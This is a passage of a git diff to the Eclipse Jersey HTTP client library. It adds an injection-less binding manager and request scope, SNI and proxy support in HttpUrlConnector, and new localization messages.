    + * @param The expected return type for the TYPE. + * @param The Type for which a {@link Binding} has been created. + */ + private abstract class XBindings { + + protected final List> instanceBindings = new LinkedList<>(); + protected final List> supplierInstanceBindings = new LinkedList<>(); + protected final List> classBindings = new LinkedList<>(); + protected final List> supplierClassBindings = new LinkedList<>(); + + protected final TYPE type; + protected final Annotation[] instancesQualifiers; + protected final TypedInstances instances; + + protected XBindings(TYPE type, Annotation[] instancesQualifiers, TypedInstances instances) { + this.type = type; + this.instancesQualifiers = instancesQualifiers; + this.instances = instances; + } + + int size() { + return instanceBindings.size() + + supplierInstanceBindings.size() + + classBindings.size() + + supplierClassBindings.size(); + } + + private void _checkUnique() { + if (size() > 1) { + throw new IllegalStateException(LocalizationMessages.NONINJECT_AMBIGUOUS_SERVICES(type)); + } + } + + void filterBinding(Binding binding) { + if (InstanceBinding.class.isInstance(binding)) { + instanceBindings.remove(binding); + } else if (ClassBinding.class.isInstance(binding)) { + classBindings.remove(binding); + } else if (SupplierInstanceBinding.class.isInstance(binding)) { + supplierInstanceBindings.remove(binding); + } else if (SupplierClassBinding.class.isInstance(binding)) { + supplierClassBindings.remove(binding); + } + } + + /** + * Match the binging qualifiers + * @param bindingQualifiers the qualifiers registered with the bindings + */ + void matchQualifiers(Annotation... bindingQualifiers) { + if (bindingQualifiers != null) { + _filterRequested(instanceBindings, bindingQualifiers); + _filterRequested(classBindings, bindingQualifiers); + _filterRequested(supplierInstanceBindings, bindingQualifiers); + _filterRequested(supplierClassBindings, bindingQualifiers); + } + } + + @SuppressWarnings("unchecked") + private void _filterRequested(List> bindingList, Annotation... requestedQualifiers) { + for (Iterator bindingIterator = bindingList.iterator(); bindingIterator.hasNext();) { + Binding binding = bindingIterator.next(); + classLoop: + for (Annotation requestedQualifier : requestedQualifiers) { + for (Annotation bindingQualifier : binding.getQualifiers()) { + if (requestedQualifier.annotationType().isInstance(bindingQualifier)) { + continue classLoop; + } + } + bindingIterator.remove(); + } + } + } + + protected boolean _isPerThread(Class scope) { + return RequestScoped.class.equals(scope) || PerThread.class.equals(scope); + } + + private X _getInstance(InstanceBinding instanceBinding) { + return instanceBinding.getService(); + } + + private X _create(SupplierInstanceBinding binding) { + Supplier supplier = binding.getSupplier(); + X t = registerDisposableSupplierAndGet(supplier); + if (Singleton.class.equals(binding.getScope())) { + _addInstance(t, binding); + } else if (_isPerThread(binding.getScope())) { + _addThreadInstance(t, binding); + } + return t; + } + + X create(boolean throwWhenNoBinding) { + _checkUnique(); + if (!instanceBindings.isEmpty()) { + return _getInstance(instanceBindings.get(0)); + } else if (!supplierInstanceBindings.isEmpty()) { + return _create(supplierInstanceBindings.get(0)); + } else if (!classBindings.isEmpty()) { + return _createAndStore(classBindings.get(0)); + } else if (!supplierClassBindings.isEmpty()) { + return _create(supplierClassBindings.get(0)); + } + + if (throwWhenNoBinding) { + throw new IllegalStateException(LocalizationMessages.NONINJECT_NO_BINDING(type)); + } else { + return null; + } + } + + protected X getInstance() { + X instance = instances.getInstance(type, instancesQualifiers); + if (instance != null) { + return instance; + } + return create(true); + } + + List allInstances() { + List list = new LinkedList<>(); + List> instanceContextList; + + instanceContextList = instances.getContexts(type, instancesQualifiers); + if (instanceContextList != null) { + instanceContextList.forEach(instanceContext -> filterBinding(instanceContext.getBinding())); + instanceContextList.forEach(instanceContext -> list.add((X) instanceContext.getInstance())); + } + + list.addAll(instanceBindings.stream() + .map(this::_getInstance) + .collect(Collectors.toList())); + + list.addAll(classBindings.stream() + .map(this::_createAndStore) + .collect(Collectors.toList())); + + list.addAll(supplierInstanceBindings.stream() + .map(this::_create) + .collect(Collectors.toList())); + + list.addAll(supplierClassBindings.stream() + .map(this::_create) + .collect(Collectors.toList())); + + return list; + } + + protected abstract X _create(SupplierClassBinding binding); + + protected abstract X _createAndStore(ClassBinding binding); + + protected T _addInstance(TYPE type, T instance, Binding binding) { + return instances.addSingleton(type, instance, binding, instancesQualifiers); + } + + protected void _addThreadInstance(TYPE type, Object instance, Binding binding) { + instances.addThreadInstance(type, instance, binding, instancesQualifiers); + } + + protected T _addInstance(T instance, Binding binding) { + return instances.addSingleton(type, instance, binding, instancesQualifiers); + } + + protected void _addThreadInstance(Object instance, Binding binding) { + instances.addThreadInstance(type, instance, binding, instancesQualifiers); + } + } + + + private class ClassBindings extends XBindings> { + private ClassBindings(Class clazz, Annotation[] instancesQualifiers) { + super(clazz, instancesQualifiers, NonInjectionManager.this.instances); + } + + @SuppressWarnings("unchecked") + List> getAllServiceHolders(Annotation... qualifiers) { + matchQualifiers(qualifiers); + + List> holders = new LinkedList<>(); + List> instanceContextList; + + instanceContextList = instances.getContexts(type, qualifiers); + + if (instanceContextList != null) { + instanceContextList.forEach(instanceContext -> filterBinding(instanceContext.getBinding())); + instanceContextList.forEach(instanceContext -> holders.add(new ServiceHolderImpl( + (T) instanceContext.getInstance(), + (Class) instanceContext.getInstance().getClass(), + instanceContext.getBinding().getContracts(), + instanceContext.getBinding().getRank() == null ? 0 : instanceContext.getBinding().getRank()) + )); + } + + List> instanceBindingHolders = instanceBindings.stream() + .map(this::_serviceHolder) + .collect(Collectors.toList()); + holders.addAll(instanceBindingHolders); + + List> classBindingHolders = classBindings.stream() + .filter(binding -> NonInjectionManager.this.findConstructor(binding.getService()) != null) + .map(this::_serviceHolder) + .collect(Collectors.toList()); + holders.addAll(classBindingHolders); + + return holders; + } + + private ServiceHolderImpl _serviceHolder(InstanceBinding binding) { + return new ServiceHolderImpl( + binding.getService(), + binding.getImplementationType(), + binding.getContracts(), + binding.getRank() == null ? 0 : binding.getRank()); + } + + private ServiceHolderImpl _serviceHolder(ClassBinding binding) { + return new ServiceHolderImpl( + NonInjectionManager.this.create(binding.getService()), + binding.getImplementationType(), + binding.getContracts(), + binding.getRank() == null ? 0 : binding.getRank()); + } + + protected T _create(SupplierClassBinding binding) { + Supplier supplier = instances.getInstance(binding.getSupplierClass(), null); + if (supplier == null) { + supplier = justCreate(binding.getSupplierClass()); + if (Singleton.class.equals(binding.getSupplierScope())) { + supplier = instances.addSingleton(binding.getSupplierClass(), supplier, binding, null); + } else if (_isPerThread(binding.getSupplierScope())) { + instances.addThreadInstance(binding.getSupplierClass(), supplier, binding, null); + } + } + + T t = createSupplierProxyIfNeeded(binding.isProxiable(), (Class) type, supplier); + if (Singleton.class.equals(binding.getScope())) { + t = _addInstance(type, t, binding); + } else if (_isPerThread(binding.getScope())) { + _addThreadInstance(type, t, binding); + } + return t; + } + + protected T _createAndStore(ClassBinding binding) { + T result = justCreate(binding.getService()); + result = _addInstance(binding.getService(), result, binding); + return result; + } + } + + private class TypeBindings extends XBindings { + private TypeBindings(Type type) { + super(type, null, types); + } + + protected T _create(SupplierClassBinding binding) { + Supplier supplier = justCreate(binding.getSupplierClass()); + + T t = registerDisposableSupplierAndGet(supplier); + if (Singleton.class.equals(binding.getScope())) { + t = _addInstance(type, t, binding); + } else if (_isPerThread(binding.getScope())) { + _addThreadInstance(type, t, binding); + } + return t; + } + + @Override + protected T _createAndStore(ClassBinding binding) { + T result = justCreate(binding.getService()); + result = _addInstance(type, result, binding); + return result; + } + + @SuppressWarnings("unchecked") + @Override + T create(boolean throwWhenNoBinding) { + if (ParameterizedType.class.isInstance(type)) { + ParameterizedType pt = (ParameterizedType) type; + if (Provider.class.equals(pt.getRawType())) { + return (T) new Provider() { + final SingleRegisterSupplier supplier = new SingleRegisterSupplier<>(new Supplier() { + @Override + public Object get() { + Type actualTypeArgument = pt.getActualTypeArguments()[0]; + if (isClass(actualTypeArgument)) { + return NonInjectionManager.this.getInstance((Class) actualTypeArgument); + } else { + return NonInjectionManager.this.getInstance(actualTypeArgument); + } + } + }); + + @Override + public Object get() { + return supplier.get(); //Not disposable + } + }; + } + } + return super.create(throwWhenNoBinding); + } + } + + /** + * A triplet of created instance, the registered {@link Binding} that prescribed the creation of the instance + * and {@link Annotation qualifiers} the instance was created with. + * @param type of the instance. + * @see NonInjectionManager#getInstance(Class, Annotation[]) + */ + private static class InstanceContext { + private final T instance; + private final Binding binding; + private final Annotation[] createdWithQualifiers; + + private InstanceContext(T instance, Binding binding, Annotation[] qualifiers) { + this.instance = instance; + this.binding = binding; + this.createdWithQualifiers = qualifiers; + } + + public Binding getBinding() { + return binding; + } + + public T getInstance() { + return instance; + } + + @SuppressWarnings("unchecked") + static List toInstances(List> instances, Annotation[] qualifiers) { + return instances != null + ? instances.stream() + .filter(instance -> instance.hasQualifiers(qualifiers)) + .map(pair -> (T) pair.getInstance()) + .collect(Collectors.toList()) + : null; + } + + private static List> filterInstances(List> instances, Annotation... qualifiers) { + return instances != null + ? instances.stream() + .filter(instance -> instance.hasQualifiers(qualifiers)) + .collect(Collectors.toList()) + : null; + } + + private boolean hasQualifiers(Annotation[] requested) { + if (requested != null) { + classLoop: + for (Annotation req : requested) { + if (createdWithQualifiers != null) { + for (Annotation cur : createdWithQualifiers) { + if (cur.annotationType().isInstance(req)) { + continue classLoop; + } + } + return false; + } + } + } + return true; + } + } + + /** + * Singleton Binding this {@link NonInjectionManager} was supposed to be created based upon. + */ + private static final class InjectionManagerBinding extends Binding> { + } + +} diff --git a/core-client/src/main/java/org/glassfish/jersey/client/innate/inject/NonInjectionRequestScope.java b/core-client/src/main/java/org/glassfish/jersey/client/innate/inject/NonInjectionRequestScope.java new file mode 100644 index 00000000000..258780d53a9 --- /dev/null +++ b/core-client/src/main/java/org/glassfish/jersey/client/innate/inject/NonInjectionRequestScope.java @@ -0,0 +1,91 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.client.innate.inject; + +import org.glassfish.jersey.internal.util.ExtendedLogger; +import org.glassfish.jersey.internal.util.LazyUid; +import org.glassfish.jersey.process.internal.RequestScope; + +import java.util.concurrent.atomic.AtomicInteger; +import java.util.logging.Level; +import java.util.logging.Logger; + +public class NonInjectionRequestScope extends RequestScope { + @Override + public org.glassfish.jersey.process.internal.RequestContext createContext() { + return new Instance(); + } + + /** + * Implementation of the request scope instance. + */ + public static final class Instance implements org.glassfish.jersey.process.internal.RequestContext { + + private static final ExtendedLogger logger = new ExtendedLogger(Logger.getLogger(Instance.class.getName()), Level.FINEST); + + /* + * Scope instance UUID. + * + * For performance reasons, it's only generated if toString() method is invoked, + * e.g. as part of some low-level logging. + */ + private final LazyUid id = new LazyUid(); + + /** + * Holds the number of snapshots of this scope. + */ + private final AtomicInteger referenceCounter; + + private Instance() { + this.referenceCounter = new AtomicInteger(1); + } + + /** + * Get a "new" reference of the scope instance. This will increase + * the internal reference counter which prevents the scope instance + * to be destroyed until a {@link #release()} method is explicitly + * called (once per each {@code getReference()} method call). + * + * @return referenced scope instance. + */ + @Override + public NonInjectionRequestScope.Instance getReference() { + // TODO: replace counter with a phantom reference + reference queue-based solution + referenceCounter.incrementAndGet(); + return this; + } + + + /** + * Release a single reference to the current request scope instance. + *

    + * Once all instance references are released, the instance will be recycled. + */ + @Override + public void release() { + referenceCounter.decrementAndGet(); + } + + @Override + public String toString() { + return "Instance{" + + "id=" + id + + ", referenceCounter=" + referenceCounter + + '}'; + } + } +} diff --git a/core-client/src/main/java/org/glassfish/jersey/client/innate/package-info.java b/core-client/src/main/java/org/glassfish/jersey/client/innate/package-info.java new file mode 100644 index 00000000000..016eea71638 --- /dev/null +++ b/core-client/src/main/java/org/glassfish/jersey/client/innate/package-info.java @@ -0,0 +1,21 @@ +/* + * Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +/** + * Jersey client MOST INTERNAL classes/interfaces. + * Shall not be used outside of Jersey. + */ +package org.glassfish.jersey.client.innate; \ No newline at end of file diff --git a/core-client/src/main/java/org/glassfish/jersey/client/internal/ConnectorExtension.java b/core-client/src/main/java/org/glassfish/jersey/client/internal/ConnectorExtension.java index 022cbc6b2e1..98e47bb4bd2 100644 --- a/core-client/src/main/java/org/glassfish/jersey/client/internal/ConnectorExtension.java +++ b/core-client/src/main/java/org/glassfish/jersey/client/internal/ConnectorExtension.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2020, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -26,7 +26,7 @@ * * @since 2.33 */ -interface ConnectorExtension { +public interface ConnectorExtension { /** * Main function which allows extension of connector's functionality diff --git a/core-client/src/main/java/org/glassfish/jersey/client/internal/HttpUrlConnector.java b/core-client/src/main/java/org/glassfish/jersey/client/internal/HttpUrlConnector.java index 10f23878b83..f5a34090d91 100644 --- a/core-client/src/main/java/org/glassfish/jersey/client/internal/HttpUrlConnector.java +++ b/core-client/src/main/java/org/glassfish/jersey/client/internal/HttpUrlConnector.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2011, 2021 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2011, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -21,10 +21,13 @@ import java.io.InputStream; import java.lang.reflect.Field; import java.net.HttpURLConnection; +import java.net.InetAddress; import java.net.ProtocolException; +import java.net.Socket; import java.net.SocketTimeoutException; import java.net.URI; import java.net.URISyntaxException; +import java.net.UnknownHostException; import java.security.AccessController; import java.security.PrivilegedActionException; import java.security.PrivilegedExceptionAction; @@ -32,28 +35,33 @@ import java.util.List; import java.util.Locale; import java.util.Map; +import java.util.Optional; import java.util.Set; import java.util.concurrent.CompletableFuture; import java.util.concurrent.Future; +import java.util.function.Supplier; import java.util.logging.Level; import java.util.logging.Logger; import java.util.stream.Collectors; +import javax.net.ssl.HostnameVerifier; +import javax.net.ssl.HttpsURLConnection; +import javax.net.ssl.SSLContext; +import javax.net.ssl.SSLSocket; +import javax.net.ssl.SSLSocketFactory; import jakarta.ws.rs.ProcessingException; import jakarta.ws.rs.client.Client; import jakarta.ws.rs.core.MultivaluedMap; import jakarta.ws.rs.core.Response; -import javax.net.ssl.HostnameVerifier; -import javax.net.ssl.HttpsURLConnection; -import javax.net.ssl.SSLSocketFactory; - import org.glassfish.jersey.client.ClientProperties; import org.glassfish.jersey.client.ClientRequest; import org.glassfish.jersey.client.ClientResponse; import org.glassfish.jersey.client.HttpUrlConnectorProvider; import org.glassfish.jersey.client.JerseyClient; import org.glassfish.jersey.client.RequestEntityProcessing; +import org.glassfish.jersey.client.innate.ClientProxy; +import org.glassfish.jersey.client.innate.http.SSLParamConfigurator; import org.glassfish.jersey.client.spi.AsyncConnectorCallback; import org.glassfish.jersey.client.spi.Connector; import org.glassfish.jersey.internal.util.PropertiesHelper; @@ -105,7 +113,7 @@ public class HttpUrlConnector implements Connector { private final boolean fixLengthStreaming; private final boolean setMethodWorkaround; private final boolean isRestrictedHeaderPropertySet; - private final LazyValue sslSocketFactory; + private LazyValue sslSocketFactory; private final ConnectorExtension connectorExtension = new HttpUrlExpect100ContinueConnectorExtension(); @@ -129,13 +137,6 @@ public HttpUrlConnector( final boolean fixLengthStreaming, final boolean setMethodWorkaround) { - sslSocketFactory = Values.lazy(new Value() { - @Override - public SSLSocketFactory get() { - return client.getSslContext().getSocketFactory(); - } - }); - this.connectionFactory = connectionFactory; this.chunkSize = chunkSize; this.fixLengthStreaming = fixLengthStreaming; @@ -310,14 +311,58 @@ protected void secureConnection(final JerseyClient client, final HttpURLConnecti if (DEFAULT_SSL_SOCKET_FACTORY.get() == suc.getSSLSocketFactory()) { // indicates that the custom socket factory was not set suc.setSSLSocketFactory(sslSocketFactory.get()); - } + } } } + /** + * Secure connection if necessary. + *

    + * Provided implementation sets {@link HostnameVerifier} and {@link SSLSocketFactory} to give connection, if that + * is an instance of {@link HttpsURLConnection}. + * + * @param clientRequest the actual client request. + * @param uc http connection to be secured. + */ + private void secureConnection( + final ClientRequest clientRequest, final HttpURLConnection uc, final SSLParamConfigurator sniConfig) { + setSslContextFactory(clientRequest.getClient(), clientRequest); + secureConnection(clientRequest.getClient(), uc); // keep this for compatibility + + if (sniConfig.isSNIRequired() && uc instanceof HttpsURLConnection) { // set SNI + HttpsURLConnection suc = (HttpsURLConnection) uc; + SniSSLSocketFactory socketFactory = new SniSSLSocketFactory(suc.getSSLSocketFactory()); + socketFactory.setSniConfig(sniConfig); + suc.setSSLSocketFactory(socketFactory); + } + } + + private void setSslContextFactory(Client client, ClientRequest request) { + final Supplier supplier = request.resolveProperty(ClientProperties.SSL_CONTEXT_SUPPLIER, Supplier.class); + + sslSocketFactory = Values.lazy(new Value() { + @Override + public SSLSocketFactory get() { + final SSLContext ctx = supplier == null ? client.getSslContext() : supplier.get(); + return ctx.getSocketFactory(); + } + }); + } + private ClientResponse _apply(final ClientRequest request) throws IOException { final HttpURLConnection uc; + final Optional proxy = ClientProxy.proxyFromRequest(request); + final SSLParamConfigurator sniConfig = SSLParamConfigurator.builder().request(request).build(); + final URI sniUri; + if (sniConfig.isSNIRequired()) { + sniUri = sniConfig.toIPRequestUri(); + LOGGER.fine(LocalizationMessages.SNI_URI_REPLACED(sniUri.getHost(), request.getUri().getHost())); + } else { + sniUri = request.getUri(); + } - uc = this.connectionFactory.getConnection(request.getUri().toURL()); + proxy.ifPresent(clientProxy -> ClientProxy.setBasicAuthorizationHeader(request.getHeaders(), proxy.get())); + uc = this.connectionFactory.getConnection(sniUri.toURL(), proxy.isPresent() ? proxy.get().proxy() : null); uc.setDoInput(true); final String httpMethod = request.getMethod(); @@ -333,7 +378,7 @@ private ClientResponse _apply(final ClientRequest request) throws IOException { uc.setReadTimeout(request.resolveProperty(ClientProperties.READ_TIMEOUT, uc.getReadTimeout())); - secureConnection(request.getClient(), uc); + secureConnection(request, uc, sniConfig); final Object entity = request.getEntity(); Exception storedException = null; @@ -360,7 +405,7 @@ private ClientResponse _apply(final ClientRequest request) throws IOException { } } - processExtentions(request, uc); + processExtensions(request, uc); request.setStreamProvider(contentLength -> { setOutboundHeaders(request.getStringHeaders(), uc); @@ -534,7 +579,7 @@ public Object run() throws NoSuchFieldException, } } - private void processExtentions(ClientRequest request, HttpURLConnection uc) { + private void processExtensions(ClientRequest request, HttpURLConnection uc) { connectorExtension.invoke(request, uc); } @@ -557,4 +602,84 @@ private IOException handleException(ClientRequest request, IOException ex, HttpU public String getName() { return "HttpUrlConnection " + AccessController.doPrivileged(PropertiesHelper.getSystemProperty("java.version")); } + + private static class SniSSLSocketFactory extends SSLSocketFactory { + private final SSLSocketFactory socketFactory; + private ThreadLocal sniConfigs = new ThreadLocal<>(); + + public void setSniConfig(SSLParamConfigurator sniConfigs) { + this.sniConfigs.set(sniConfigs); + } + + private SniSSLSocketFactory(SSLSocketFactory socketFactory) { + this.socketFactory = socketFactory; + } + + @Override + public String[] getDefaultCipherSuites() { + return socketFactory.getDefaultCipherSuites(); + } + + @Override + public String[] getSupportedCipherSuites() { + return socketFactory.getSupportedCipherSuites(); + } + + @Override + public Socket createSocket(Socket socket, String s, int i, boolean b) throws IOException { + Socket superSocket = socketFactory.createSocket(socket, s, i, b); + setSNIServerName(superSocket); + return superSocket; + } + + @Override + public Socket createSocket(String s, int i) throws IOException, UnknownHostException { + Socket superSocket = socketFactory.createSocket(s, i); + setSNIServerName(superSocket); + return superSocket; + } + + @Override + public Socket createSocket(String s, int i, InetAddress inetAddress, int i1) throws IOException, UnknownHostException { + Socket superSocket = socketFactory.createSocket(s, i, inetAddress, i1); + setSNIServerName(superSocket); + return superSocket; + } + + @Override + public Socket createSocket(InetAddress inetAddress, int i) throws IOException { + Socket superSocket = socketFactory.createSocket(inetAddress, i); + setSNIServerName(superSocket); + return superSocket; + } + + @Override + public Socket createSocket(InetAddress inetAddress, int i, InetAddress inetAddress1, int i1) throws IOException { + Socket superSocket = socketFactory.createSocket(inetAddress, i, inetAddress1, i1); + setSNIServerName(superSocket); + return superSocket; + } + + @Override + public Socket createSocket(Socket s, InputStream consumed, boolean autoClose) throws IOException { + Socket superSocket = socketFactory.createSocket(s, consumed, autoClose); + setSNIServerName(superSocket); + return superSocket; + } + + @Override + public Socket createSocket() throws IOException { + Socket superSocket = socketFactory.createSocket(); + setSNIServerName(superSocket); + return superSocket; + } + + private void setSNIServerName(Socket superSocket) { + SSLParamConfigurator sniConfig = this.sniConfigs.get(); + if (null != sniConfig && SSLSocket.class.isInstance(superSocket)) { + sniConfig.setSNIServerName((SSLSocket) superSocket); + } + this.sniConfigs.remove(); + } + } } diff --git a/core-client/src/main/java/org/glassfish/jersey/client/internal/HttpUrlExpect100ContinueConnectorExtension.java b/core-client/src/main/java/org/glassfish/jersey/client/internal/HttpUrlExpect100ContinueConnectorExtension.java index 2e727eb9fa9..ad1383087db 100644 --- a/core-client/src/main/java/org/glassfish/jersey/client/internal/HttpUrlExpect100ContinueConnectorExtension.java +++ b/core-client/src/main/java/org/glassfish/jersey/client/internal/HttpUrlExpect100ContinueConnectorExtension.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2020, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -18,7 +18,7 @@ import org.glassfish.jersey.client.ClientProperties; import org.glassfish.jersey.client.ClientRequest; -import org.glassfish.jersey.client.RequestEntityProcessing; +import org.glassfish.jersey.client.innate.Expect100ContinueUsage; import java.io.IOException; import java.net.HttpURLConnection; @@ -32,26 +32,9 @@ class HttpUrlExpect100ContinueConnectorExtension @Override public void invoke(ClientRequest request, HttpURLConnection uc) { - final long length = request.getLengthLong(); - final RequestEntityProcessing entityProcessing = request.resolveProperty( - ClientProperties.REQUEST_ENTITY_PROCESSING, RequestEntityProcessing.class); - - final Boolean expectContinueActivated = request.resolveProperty( - ClientProperties.EXPECT_100_CONTINUE, Boolean.class); - final Long expectContinueSizeThreshold = request.resolveProperty( - ClientProperties.EXPECT_100_CONTINUE_THRESHOLD_SIZE, - ClientProperties.DEFAULT_EXPECT_100_CONTINUE_THRESHOLD_SIZE); - - final boolean allowStreaming = length > expectContinueSizeThreshold - || entityProcessing == RequestEntityProcessing.CHUNKED; - - if (!Boolean.TRUE.equals(expectContinueActivated) - || !("POST".equals(uc.getRequestMethod()) || "PUT".equals(uc.getRequestMethod())) - || !allowStreaming - ) { - return; + if (Expect100ContinueUsage.isAllowed(request, uc.getRequestMethod())) { + uc.setRequestProperty("Expect", "100-Continue"); } - uc.setRequestProperty("Expect", "100-Continue"); } @Override diff --git a/core-client/src/main/resources/org/glassfish/jersey/client/internal/jdkconnector/localization.properties b/core-client/src/main/resources/org/glassfish/jersey/client/internal/jdkconnector/localization.properties deleted file mode 100644 index e8f03425ef5..00000000000 --- a/core-client/src/main/resources/org/glassfish/jersey/client/internal/jdkconnector/localization.properties +++ /dev/null @@ -1,73 +0,0 @@ -# -# Copyright (c) 2017, 2018 Oracle and/or its affiliates. All rights reserved. -# -# This program and the accompanying materials are made available under the -# terms of the Eclipse Public License v. 2.0, which is available at -# http://www.eclipse.org/legal/epl-2.0. -# -# This Source Code may also be made available under the following Secondary -# Licenses when the conditions for such availability set forth in the -# Eclipse Public License v. 2.0 are satisfied: GNU General Public License, -# version 2 with the GNU Classpath Exception, which is available at -# https://www.gnu.org/software/classpath/license.html. -# -# SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 -# - -read.listener.set.only.once="Read listener can be set only once." -async.operation.not.supported="Operation not supported in synchronous mode." -sync.operation.not.supported="Operation not supported in asynchronous mode." -write.when.not.ready="Asynchronous write called when stream is in non-ready state." -stream.closed.for.input="This stream has already been closed for input." -write.listener.set.only.once="Write listener can be set only once." -stream.closed="The stream has been closed." -writing.failed="Writing data failed" -buffer.incorrect.length="Buffer passed for encoding is neither a multiple of chunkSize nor smaller than chunkSize." -connector.configuration="Connector configuration: {0}." -negative.chunk.size="Configured chunk size is negative: {0}, using default value: {1}." -timeout.receiving.response="Timeout receiving response." -timeout.receiving.response.body="Timeout receiving response body." -closed.while.sending.request="Connection closed by the server while sending request". -closed.while.receiving.response="Connection closed by the server while receiving response." -closed.while.receiving.body="Connection closed by the server while receiving response body." -connection.closed="Connection closed by the server." -closed.by.client.while.sending="Connection closed by the client while sending request." -closed.by.client.while.receiving="Connection closed by the client while receiving response." -closed.by.client.while.receiving.body="Connection closed by the client while receiving response body." -connection.timeout="Connection timed out." -connection.changing.state="HTTP connection {0}:{1} changing state {2} -> {3}." -unexpected.data.in.buffer="Unexpected data remain in the buffer after the HTTP response has been parsed." -http.initial.line.overflow="HTTP packet initial line is too large." -http.packet.header.overflow="HTTP packet header is too large." -http.negative.content.length="Content length cannot be less than 0." -http.invalid.content.length="Invalid format of content length code." -http.request.no.body="This HTTP request does not have a body." -http.request.no.buffered.body="Buffered body is available only in buffered body mode." -http.request.body.size.not.available="Body size is not available in chunked body mode." -proxy.user.name.missing="User name is missing" -proxy.password.missing="Password is missing" -proxy.qop.no.supported="The 'qop' (quality of protection) = {0} extension requested by the server is not supported. Cannot authenticate against the server using Http Digest Authentication." -proxy.407.twice="Received 407 for the second time." -proxy.fail.auth.header="Creating authorization header failed." -proxy.connect.fail="Connecting to proxy failed with status {0}." -proxy.missing.auth.header="Proxy-Authenticate header value is missing or empty." -proxy.unsupported.scheme="Unsupported scheme: {0}." -redirect.no.location="Received redirect that does not contain a location or the location is empty." -redirect.error.determining.location="Error determining redirect location." -redirect.infinite.loop="Infinite loop in chained redirects detected." -redirect.limit.reached="Max chained redirect limit ({0}) exceeded." -ssl.session.closed="SSL session has been closed." -http.body.size.overflow="Body size exceeds declared size" -http.invalid.chunk.size.hex.value="Invalid byte representing a hex value within a chunk length encountered : {0}" -http.unexpected.chunk.header="Unexpected HTTP chunk header." -http.chunk.encoding.prefix.overflow="The chunked encoding length prefix is too large." -http.trailer.header.overflow="The chunked encoding trailer header is too large." -transport.connection.not.closed="Could not close a connection." -transport.set.class.loader.failed="Cannot set thread context class loader." -transport.executor.closed="Cannot set thread context class loader." -transport.executor.queue.limit.reached="A limit of client thread pool queue has been reached." -thread.pool.max.size.too.small="Max thread pool size cannot be smaller than 3." -thread.pool.core.size.too.small="Core thread pool size cannot be smaller than 0." -http.connection.establishing.illegal.state="Cannot try to establish connection if the connection is in other than CREATED state\ - . Current state: {0}. -http.connection.not.idle="Http request cannot be sent over a connection that is in other state than IDLE. Current state: {0}" diff --git a/core-client/src/main/resources/org/glassfish/jersey/client/internal/localization.properties b/core-client/src/main/resources/org/glassfish/jersey/client/internal/localization.properties index 4bc0ae8e30b..291ac985809 100644 --- a/core-client/src/main/resources/org/glassfish/jersey/client/internal/localization.properties +++ b/core-client/src/main/resources/org/glassfish/jersey/client/internal/localization.properties @@ -1,5 +1,5 @@ # -# Copyright (c) 2012, 2019 Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved. # # This program and the accompanying materials are made available under the # terms of the Eclipse Public License v. 2.0, which is available at @@ -48,7 +48,14 @@ ignored.async.threadpool.size=Zero or negative asynchronous thread pool size spe Using default cached thread pool. negative.chunk.size=Negative chunked HTTP transfer coding chunk size value specified in the client configuration property: [{0}] \ Reverting to programmatically set default: [{1}] -negative.input.parameter="Input parameter {0} must not be negative." +negative.input.parameter="Input parameter {0} must not be negative1." +noninject.ambiguous.services=Ambiguous providing services ${0}. +noninject.fallback=Falling back to injection-less client. +noninject.no.constructor=No applicable constructor for ${0} found. +noninject.no.binding=No binding found for ${0}. +noninject.requestscope.created=RequestScope already created. +noninject.shutdown=InjectionManager is already shutdown. +noninject.unsatisfied=Unsatisfied dependency for ${0}. null.connector.provider=ConnectorProvider must not be set to null. null.executor.service=ExecutorService must not be set to null. null.input.parameter=Input method parameter {0} must not be null. @@ -76,6 +83,10 @@ restricted.header.property.setting.false=Restricted headers are not enabled usin restricted.header.property.setting.true=Restricted headers are enabled using [{0}] system property(setting only takes effect on\ connections created after the property has been set/changed). request.entity.already.written=The entity was already written in this request. The entity can be written (serialized into the output stream) only once per a request. +sni.on.sslsocket=Setting SNIServerName on SSLSocket +sni.on.sslengine=Setting SNIServerName on SSLEngine +sni.uri.replaced=HTTP Request sent with request to IP address {0} rather than the hostname {1}. +sni.update.sslparams=Updating SSLParameters for SNIServerName={0}. unexpected.error.response.processing=Unexpected error during response processing. use.encoding.ignored=Value {1} of {0} client property will be ignored as it is not a valid supported encoding. \ Valid supported encodings are: {2} @@ -84,3 +95,5 @@ error.request.cancelled=Request cancelled by the client call. error.listener.init=ClientLifecycleListener {0} failed to initialize properly. error.listener.close=ClientLifecycleListener {0} failed to close properly. error.shutdownhook.close=Client shutdown hook {0} failed. +# {0} - property name - jersey.config.client.httpclient.proxyUri +wrong.proxy.uri.type=The proxy URI 